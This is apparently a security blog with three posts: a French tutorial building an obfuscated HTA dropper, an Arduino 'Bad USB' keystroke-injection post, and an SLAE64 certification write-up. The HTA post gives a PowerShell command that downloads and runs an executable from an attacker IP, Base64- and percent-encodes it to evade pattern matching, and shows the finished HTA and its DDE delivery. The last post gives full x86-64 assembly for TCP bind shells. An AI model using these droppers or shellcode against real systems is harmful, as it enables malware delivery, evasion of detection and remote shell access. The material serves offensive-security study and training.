Récupération et exécution d’un malware via un fichier HTA

L’objet de cet article est de montrer une technique couramment utilisée dans les malwares Microsoft Office (attaque DDE par exemple) pour télécharger et exécuter un malware via un fichier HTA.

Mais au fait qu’est-ce qu’un fichier HTA ?

Un fichier .HTA est un fichier « HTML Application », une application exécutée par le navigateur Web Internet Explorer. Le composant responsable de l’exécution des fichiers HTA est mshta.exe présent dans Windows depuis la nuit des temps.

Au départ on a donc un script Powershell dont le but est de télécharger le malware puis de l’exécuter, rien de très compliqué.

Ce qui est intéressant ce sont les techniques d’obfuscation utilisées pour passer au travers des radars.

Prenons l’exemple suivant où le serveur de l’attaquant a pour adresse IP 192.168.1.32 et où le malware est un exécutable nommé ici msvss.exe. Notez au passage l’utilisation d’un mixte entre minuscule et majuscule, ce n’est pas pour le fun mais pour faire barrage à du pattern-matching :

powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.32/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’)

La première chose à faire est d’encoder la commande. Si on reprend cet exemple la commande à encoder est celle-ci :

(New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.32/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’)

Powershell gèrant nativement le décodage Base64, il suffit de quelques lignes de code pour encoder cette commande en Base64 :

$commands = « (New-Object System.Net.WebClient).DownloadFile(‘http://192.168.1.21/msvss.exe’,’D:\msvss.exe’); Start-Process(‘D:\msvss.exe’) »
$bytes = [System.Text.Encoding]::Unicode.GetBytes($commands) $encodedString = [Convert]::ToBase64String($bytes)
echo $encodedString

En sortie on obtient la longue chaine de caractères suivante :

KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA==

Il suffit de passer cette chaine de caractère au paramètre EncodedCommand de Powershell et le tour est joué :

powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -ENCodedcOMMANd KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA==

La commande powershell étant encodée, maintenant l’idée est d’embarquer ce powershell dans un document HTML.

Ce que l’on voit souvent, c’est l’utilisation d’un script VBScript car ce language permet la création d’objets, dont Powershell…

On obtient donc ceci :

<!DOCTYPE html>
<meta http-equiv= »x-ua-compatible » content= »ie=emulateie8″ >
<html>
<body>
<script language= »vbscript »>
Dim KHALON81
Dim kkk
SeT KHALON81 = createobject ( « wscrIPt.sHELl » )
kkk = « powershell.exe -ExeCUtIonPolIcY bypass -noprofile -windowstyle minimized -ENCodedcOMMANd KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADMAMgAvAG0AcwB2AHMAcwAuAGUAeABlACcALAAnAEQAOgBcAG0AcwB2AHMAcwAuAGUAeABlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAoACcARAA6AFwAbQBzAHYAcwBzAC4AZQB4AGUAJwApAA== »
KHALON81.RUN(kkk)
SEt KHALON81 = NOTHInG
</script>
</body>
</html>

C’est pas mal mais on voit qu’il y a du Powershell.

Continuons l’obfuscation en utilisant la technique du « Percent Encoding » sur l’intégralité du code HTML. Attention, de base le « Percent Encoding » n’encode pas les caractères ASCII classiques, les  » Unreserved Characters » ce qui implique qu’une partie du code restera non obfusquée comme les mots-clefs « script », « powershell », ce qui est facheux.

Il nous faut donc un outil de « Percent Encoding » capable d’encoder tous les caractères, c’est le cas de cet outil en ligne :

http://2tap.com/javascript-percent-encoder/

On copie colle tout le code HTML précédent et obtient en sortie le code suivant :

%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%78%2d%75%61%2d%63%6f%6d%70%61%74%69%62%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%69%65%3d%65%6d%75%6c%61%74%65%69%65%38%22%20%3e%20%3c%68%74%6d%6c%3e%20%3c%62%6f%64%79%3e%20%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%76%62%73%63%72%69%70%74%22%3e%20%44%69%6d%20%4b%48%41%4c%4f%4e%38%31%20%44%69%6d%20%6b%6b%6b%20%53%65%54%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%63%72%65%61%74%65%6f%62%6a%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2e%73%48%45%4c%6c%22%20%29%20%6b%6b%6b%20%3d%20%22%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%45%78%65%43%55%74%49%6f%6e%50%6f%6c%49%63%59%20%62%79%70%61%73%73%20%2d%6e%6f%70%72%6f%66%69%6c%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%6d%69%6e%69%6d%69%7a%65%64%20%2d%45%4e%43%6f%64%65%64%63%4f%4d%4d%41%4e%64%20%4b%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4d%41%64%41%42%6c%41%47%30%41%4c%67%42%4f%41%47%55%41%64%41%41%75%41%46%63%41%5a%51%42%69%41%45%4d%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6b%41%4c%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5a%51%41%6f%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4c%77%41%78%41%44%6b%41%4d%67%41%75%41%44%45%41%4e%67%41%34%41%43%34%41%4d%51%41%75%41%44%4d%41%4d%67%41%76%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4c%41%41%6e%41%45%51%41%4f%67%42%63%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4b%51%41%37%41%43%41%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6c%41%48%4d%41%63%77%41%6f%41%43%63%41%52%41%41%36%41%46%77%41%62%51%42%7a%41%48%59%41%63%77%42%7a%41%43%34%41%5a%51%42%34%41%47%55%41%4a%77%41%70%41%41%3d%3d%22%20%4b%48%41%4c%4f%4e%38%31%2e%52%55%4e%28%6b%6b%6b%29%20%20%53%45%74%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%4e%4f%54%48%49%6e%47%20%3c%2f%73%63%72%69%70%74%3e%20%3c%2f%62%6f%64%79%3e%20%3c%2f%68%74%6d%6c%3e

Là c’est pas mal, on arrive à l’étape finale, la création du fichier HTA.

Ce fichier HTA est simplement du code HTML contenant un script Javascript se chargeant de faire l’opération inverse, le décodage, le « unescape » :

<!DOCTYPE html>
<meta http-equiv= »x-ua-compatible » content= »ie=emulateie8″ >
<html>
<body>
<script language= »javascript »>
<!–
document.write(unescape(‘%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%78%2d%75%61%2d%63%6f%6d%70%61%74%69%62%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%69%65%3d%65%6d%75%6c%61%74%65%69%65%38%22%20%3e%20%3c%68%74%6d%6c%3e%20%3c%62%6f%64%79%3e%20%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%76%62%73%63%72%69%70%74%22%3e%20%44%69%6d%20%4b%48%41%4c%4f%4e%38%31%20%44%69%6d%20%6b%6b%6b%20%53%65%54%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%63%72%65%61%74%65%6f%62%6a%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2e%73%48%45%4c%6c%22%20%29%20%6b%6b%6b%20%3d%20%22%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%45%78%65%43%55%74%49%6f%6e%50%6f%6c%49%63%59%20%62%79%70%61%73%73%20%2d%6e%6f%70%72%6f%66%69%6c%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%6d%69%6e%69%6d%69%7a%65%64%20%2d%45%4e%43%6f%64%65%64%63%4f%4d%4d%41%4e%64%20%4b%41%42%4f%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4d%41%64%41%42%6c%41%47%30%41%4c%67%42%4f%41%47%55%41%64%41%41%75%41%46%63%41%5a%51%42%69%41%45%4d%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6b%41%4c%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5a%51%41%6f%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4c%77%41%78%41%44%6b%41%4d%67%41%75%41%44%45%41%4e%67%41%34%41%43%34%41%4d%51%41%75%41%44%4d%41%4d%67%41%76%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4c%41%41%6e%41%45%51%41%4f%67%42%63%41%47%30%41%63%77%42%32%41%48%4d%41%63%77%41%75%41%47%55%41%65%41%42%6c%41%43%63%41%4b%51%41%37%41%43%41%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6c%41%48%4d%41%63%77%41%6f%41%43%63%41%52%41%41%36%41%46%77%41%62%51%42%7a%41%48%59%41%63%77%42%7a%41%43%34%41%5a%51%42%34%41%47%55%41%4a%77%41%70%41%41%3d%3d%22%20%4b%48%41%4c%4f%4e%38%31%2e%52%55%4e%28%6b%6b%6b%29%20%20%53%45%74%20%4b%48%41%4c%4f%4e%38%31%20%3d%20%4e%4f%54%48%49%6e%47%20%3c%2f%73%63%72%69%70%74%3e%20%3c%2f%62%6f%64%79%3e%20%3c%2f%68%74%6d%6c%3e’));
//–>
</script>
</body>
</html>

Voila c’est terminé, il n’y a plus qu’à l’enregistrer dans fichier au format .hta, par exemple un index.hta.

Vous imaginez la suite, ce fichier est envoyé dans des pièces jointes ou appelé dans fichier Word via une commande DDE du style {DDEAUTO c:\\windows\\system32\\mshta.exe ...}

A noter que ces attaques via DDE et autres sur Microsoft Office sont détectées et bloquées sous Windows 10 grâce à la fonctionnalité ASR (Attack Surface Redution) qui empêche la création de processus enfant.

Bad USB version Arduino

Dans le petit monde des « Bad USB » j’ai voulu testé une version basée sur un chipset Arduino :

Le principe de base reste le même que pour la célèbre Rubber Ducky : la clef USB est en réalité un périphérique USB de type HID (Human Interface Device), un clavier, qui une fois reconnu par le système envoie la séquence de frappes clavier prévue par le script de l’attaquant.

Le script peut être tout et n’importe quoi, d’un simple Hello World , au vol de clé Wifi en passant par la récupération des mots de passe Windows via Mimikatz.

En pratique cela se passe comment ?

Il est nécessaire de disposer de l’IDE Arduino, au moment des tests je disposais de la version 1.8.5.

Ensuite il faut configurer l’IDE pour lui indiquer qu’il s’agit d’une carte de type Arduino Leonardo.

Pour le script, rien de très compliqué.

Ci-joint un petit exemple pour Windows dont le but est de télécharger une image sur Internet puis de l’afficher à l’écran :

#include "Keyboard.h"
#include "Mouse.h"

void typeKey(int key)
{
  Keyboard.press(key);
  delay(100);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();
  // Wait 500ms
  delay(5000);
  
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.releaseAll();

  delay(200);
  Keyboard.print("powershell");
    delay(1500);
  typeKey(KEY_RETURN);
  delay(1000);
  Keyboard.print("$client = new-object System.Net.WebClient");
  typeKey(KEY_RETURN);
  delay(150);
  Keyboard.print("$client.DownloadFile('https://cdn.pixabay.com/photo/2018/05/07/10/48/husky-3380548_960_720.jpg','C:/Temp/cat.jpg')");
  typeKey(KEY_RETURN);
  delay(150);
  //Keyboard.print("gci -Path 'C:/Temp/' -Filter 'cat.jpg' | ii ; exit");
 
  Keyboard.print("gci -Path 'C:/Temp/' -Filter 'cat.jpg'");
   typeKey(KEY_RETURN);
  delay(150);
  Keyboard.print("ii 'C:/Temp/cat.jpg','C:/Temp/cat.jpg' ; exit ");
  delay(150);
  typeKey(KEY_RETURN);
  
        //Keyboard.press(KEY_MENU);
  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}

Ensuite il n’y a plus qu’à envoyer le script, que dis-je téléverser le script, dans la clef USB :

 

Et le tour est joué ! Le script se déclenche automatiquement (un peu comme un autorun même si cela n’a strictement rien à voir) :

et voila le résultat 🙂

Petit souci que j’ai rencontré : de base le mapping des touches est prévue pour un clavier QWERTY…Donc autant dire que la première fois le script a fait n’importe quoi.

En cherchant un peu j’ai localisé le coupable : il s ‘agit du fichier Keyboard.cpp dans Arduino. Il suffit soit de l’adapter, soit de trouver une version pour AZERTY toute faite sur Internet.

La modification porte sur le tableau _asciimap, ci-joint une version pour claviers AZERTY :

const uint8_t _asciimap[128] =
{
	0x00,             // NUL
	0x00,             // SOH
	0x00,             // STX
	0x00,             // ETX
	0x00,             // EOT
	0x00,             // ENQ
	0x00,             // ACK  
	0x00,             // BEL
	0x2a,			// BS	Backspace
	0x2b,			// TAB	Tab
	0x28,			// LF	Enter
	0x00,             // VT 
	0x00,             // FF 
	0x00,             // CR 
	0x00,             // SO 
	0x00,             // SI 
	0x00,             // DEL
	0x00,             // DC1
	0x00,             // DC2
	0x00,             // DC3
	0x00,             // DC4
	0x00,             // NAK
	0x00,             // SYN
	0x00,             // ETB
	0x00,             // CAN
	0x00,             // EM 
	0x00,             // SUB
	0x00,             // ESC
	0x00,             // FS 
	0x00,             // GS 
	0x00,             // RS 
	0x00,             // US 

	0x2c,		   //  ' '
	0x38,	   // ! 
	0x20,    // "
	0x20,    // # :TODO
	0x30,    // $
	0x34|SHIFT,    // %
	0x1E,    // & 
	0x21,          // '
	0x22,    // (
	0x2d,    // )
        0x31,    // * : done
	0x2e|SHIFT,    // +
	0x10,          // , 
	0x23,          // -
	0x36|SHIFT,    // .
	0x37|SHIFT,    // /
	0x27|SHIFT,    // 0
	0x1e|SHIFT,    // 1
	0x1f|SHIFT,    // 2
	0x20|SHIFT,    // 3
	0x21|SHIFT,    // 4
	0x22|SHIFT,    // 5
	0x23|SHIFT,    // 6
	0x24|SHIFT,    // 7
	0x25|SHIFT,    // 8
	0x26|SHIFT,    // 9
	0x37,          // :
	0x36,          // ;
	0x64,      // < Done 0x2e, // = 0x64|SHIFT, // > Done
	0x10|SHIFT,      // ? 0x38 -> 0x10 OK
	0x1f,      // @ TODO
	0x14|SHIFT,      // A
	0x05|SHIFT,      // B
	0x06|SHIFT,      // C
	0x07|SHIFT,      // D
	0x08|SHIFT,      // E
	0x09|SHIFT,      // F
	0x0a|SHIFT,      // G
	0x0b|SHIFT,      // H
	0x0c|SHIFT,      // I
	0x0d|SHIFT,      // J
	0x0e|SHIFT,      // K
	0x0f|SHIFT,      // L
	0x33|SHIFT,      // M
	0x11|SHIFT,      // N
	0x12|SHIFT,      // O
	0x13|SHIFT,      // P
	0x04|SHIFT,      // Q
	0x15|SHIFT,      // R
	0x16|SHIFT,      // S
	0x17|SHIFT,      // T
	0x18|SHIFT,      // U
	0x19|SHIFT,      // V
	0x1d|SHIFT,      // W
	0x1b|SHIFT,      // X
	0x1c|SHIFT,      // Y
	0x1a|SHIFT,      // Z
	0x0c,          // [ TODO 2F
	0x31,          // bslash
	0x0d,          // ] TODO 30
	0x2F,    // ^
	0x25,    // _
	0x35,          // ` TODO
	0x14,          // a
	0x05,          // b
	0x06,          // c
	0x07,          // d
	0x08,          // e
	0x09,          // f
	0x0a,          // g
	0x0b,          // h
	0x0c,          // i
	0x0d,          // j
	0x0e,          // k
	0x0f,          // l
	0x33,          // m
	0x11,          // n
	0x12,          // o
	0x13,          // p
	0x04,          // q
	0x15,          // r
	0x16,          // s
	0x17,          // t
	0x18,          // u
	0x19,          // v
	0x1d,          // w
	0x1b,          // x
	0x1c,          // y
	0x1a,          // z
	0x2f|SHIFT,    // 
	0x31|SHIFT,    // | TODO
	0x30|SHIFT,    // } TODO
	0x35|SHIFT,    // ~ TODO
	0				// DEL
};

Ensuite libre cours à votre imagination !

 

SLAE64 – Assignment #1 – Shell Bind TCP shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #1

The aim of this assignment is to create a bind shellcode with a passcode and to remove all 0x00 from opcodes.

This shellcode opens a TCP socket and listens on port 4444 :

You can connect to this shellcode using netcat command on port 444 :

A passcode is required, enter pwd and return key.

Here we are on the /bin/sh shell !

Here are the opcodes of this shellcode, as you can see there are no 0x00 :

I’ll not detail all parts of this shellcode because there are very similar to the standard TCP bind shellcode seen in SLAE64 course.

However I’ll explain the passcode code part and how I’ve removed the 0x00.

First, we need to print a passcode text string. The string I’ve chosen is 12 characters long (with a space character at the end) :

#passcode :

which is 0x2370617373636f6465203a20 in hexadecimal. Due to the stack technique we need to push this value in reverse order  :

	
	push 0x203a2065			; #passcode : 
	mov rbx, 0x646f637373617023	; #passcode : 
	push rbx

Then we can print this text using syscall 1. All syscalls can be found here : http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

rdi = file descriptor = 1 = stdout

rsi = text buffer to print = rsp = 0x2370617373636f6465203a20 in reverse order

rdx = text buffer size

xor rdx, rdx  
mov dl, passcode_required_size

mov rsi, rsp 
xor rdi, rdi
mov dil, 1   ; stdout
xor rax, rax
mov al, 1    ; sys_write
syscall

Then we need to ask and wait for user input and store user passcode string in memory. In order to give memory space for user string, I’ve chosen to push 8 characters on the stack and to give this pointer to rsi :

; user input
        
;mov rdx, buffer_size
xor rdx, rdx
mov dl, buffer_size	

;mov rsi, buffer
mov rbx, 0x0101010101010101
push rbx
mov rsi, rsp

xor rdi, rdi   ; stdin
xor rax, rax 
syscall        ; sys_read

Then we need to check passcode. First I put the correct passcode pwd0x0a on the stack and store it in rdi pointer register. Then whithin a loop I compare each character from user input (rsi register) with each character from correct passcode (rdi register). If there is a difference I jump to the exit code part. If all is OK I just continue to the standard shellcode part.

In order to remove 0x00 I’m using :

  • xor <register>, <register> followed by a « small » register technique :
xor rdi, rdi
mov dil, 1
  • push data on stack instead of using data segment :
push 0x0a647770		    ; pwd0x0a
mov rdi, rsp

So here is the check passcode code part :

  ; check passcode 
  push 0x0a647770		    ; pwd0x0a
  mov rdi, rsp
  xor rcx, rcx 
  dec rcx
cmp_pwd:
    inc rcx
    mov al, byte [rsi + rcx]
    mov dl, byte [rdi + rcx]
    cmp al, dl                  ; compare each character
    jne exit                    ; jump out of loop if they are not the same
    cmp dl, 0x0a                ; end of string ?
    jne cmp_pwd                 ; not finished, loop again

Full source code is available here and on my Github account.

Source code of bind-shell-passcode-safe.nasm

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 bind-shell-passcode-safe.nasm -o bind-shell-passcode-safe.o
; ld bind-shell-passcode-safe.o -o bind-shell-passcode-safe


global _start

section .bss
    buffer resb 20               ; buffer of 20 bytes
    buffer_size equ $ - buffer   ; buffer size
    
section .data
    passcode: db 'pwd',0x0a
    passcode_required: db '#passcode : '
    passcode_required_size equ $ - passcode_required

section .text
_start:

    ; sock = socket(AF_INET, SOCK_STREAM, 0)
    ; AF_INET = 2
    ; SOCK_STREAM = 1
    ; syscall number 41 

    xor rax, rax
    mov al, 41

    xor rdi, rdi
    mov dil, 2
	
    xor rsi, rsi
    mov sil, 1

    xor rdx, rdx
    syscall

    ; copy socket descriptor to rdi for future use 

    mov rdi, rax

    ; server.sin_family = AF_INET 
    ; server.sin_port = htons(PORT)
    ; server.sin_addr.s_addr = INADDR_ANY
    ; bzero(&server.sin_zero, 8)

    xor rax, rax 

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11

    mov word [rsp-8], 0x1FF
    sub word [rsp-8], 0x1FD

    sub rsp, 8

    ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
    ; syscall number 49

    xor rax, rax
    mov al, 49	

    mov rsi, rsp
	
    xor rdx, rdx
    mov dl, 16	

    syscall

    ; listen(sock, MAX_CLIENTS)
    ; syscall number 50
 
    xor rax, rax 
    mov al, 50

    xor rsi, rsi
    mov sil, 2
	
    syscall

    ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
    ; syscall number 43

    xor rax, rax
    mov al, 43

    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall

    ; store the client socket description 
    mov r9, rax 

    ; close parent
    xor rax, rax
    mov al, 3	
    syscall

    ; duplicate sockets
    ; dup2 (new, old)
    mov rdi, r9
    xor rax, rax
    mov al, 33        
    xor rsi, rsi
    syscall

    xor rax, rax
    mov al, 33        
    xor rsi ,rsi
    mov sil, 1	
    syscall

    xor rax, rax
    mov al, 33
    xor rsi, rsi
    mov sil, 2	
    syscall

    ; passcode is required
    xor rdx, rdx
    mov dl, passcode_required_size
	
    ;mov rsi, passcode_required
    push 0x203a2065	        ; #passcode : 
    mov rbx, 0x646f637373617023	; #passcode : 
    push rbx
    mov rsi, rsp 

    xor rdi, rdi
    mov dil, 1   ; stdout
    xor rax, rax
    mov al, 1    ; sys_write
    syscall	

    ; user input
        
    ;mov rdx, buffer_size
    xor rdx, rdx
    mov dl, buffer_size	

    ;mov rsi, buffer
    mov rbx, 0x0101010101010101
    push rbx
    mov rsi, rsp

    xor rdi, rdi   ; stdin
    xor rax, rax 
    syscall        ; sys_read

    ; check passcode 
	
    ;lea rsi, [buffer]      ; user passcode
    ;mov rsi, buffer
    ;lea rdi, [passcode]    ; true passcode
    ;mov rdi, passcode
    push 0x0a647770         ; pwd0x0a
    mov rdi, rsp
    xor rcx, rcx 
    dec rcx
cmp_pwd:
    inc rcx
    mov al, byte [rsi + rcx]
    mov dl, byte [rdi + rcx]
    cmp al, dl                  ; compare each character
    jne exit                    ; jump out of loop if they are not the same
    cmp dl, 0x0a                ; end of string ?
    jne cmp_pwd                 ; not finished, loop again
    ; shellcode

    ; execve
    ; First NULL push
    xor rax, rax
    push rax

    ; push /bin//sh in reverse
    mov rbx, 0x68732f2f6e69622f
    push rbx

    ; store /bin//sh address in RDI
    mov rdi, rsp

    ; Second NULL push
    push rax

    ; set RDX
    mov rdx, rsp

    ; push address of /bin//sh
    push rdi

    ; set RSI
    mov rsi, rsp

    ; Call the execve syscall
    add rax, 59
    syscall

exit:
    xor rdi, rdi
    add dil, 1
    xor rax, rax
    add al, 60
    syscall

Source code of bind-shell-safe.nasm

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 bind-shell-safe.nasm -o bind-shell-safe.o
; ld bind-shell-safe.o -o bind-shell-safe

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	mov al, 41

	xor rdi, rdi
	mov dil, 2
	
	xor rsi, rsi
	mov sil, 1

	xor rdx, rdx
	
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax

	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax

	mov dword [rsp-4], eax
	mov word [rsp-6], 0x5c11

	mov word [rsp-8], 0x1FF
	sub word [rsp-8], 0x1FD

	sub rsp, 8

	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49

	xor rax, rax
	mov al, 49	

	mov rsi, rsp
	
	xor rdx, rdx
	mov dl, 16	

	syscall

	; listen(sock, MAX_CLIENTS)
	; syscall number 50

	xor rax, rax
	mov al, 50

	xor rsi, rsi
	mov sil, 2
	
	syscall

	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43
	
	xor rax, rax
	mov al, 43

	sub rsp, 16
	mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

	; store the client socket description 
	mov r9, rax 

        ; close parent

	xor rax, rax
	mov al, 3	

        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
        
	xor rax, rax
	mov al, 33        

	xor rsi, rsi

        syscall

	xor rax, rax
	mov al, 33        

	xor rsi ,rsi
	mov sil, 1	

        syscall

	xor rax, rax
	mov al, 33

	xor rsi, rsi
	mov sil, 2	

        syscall

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall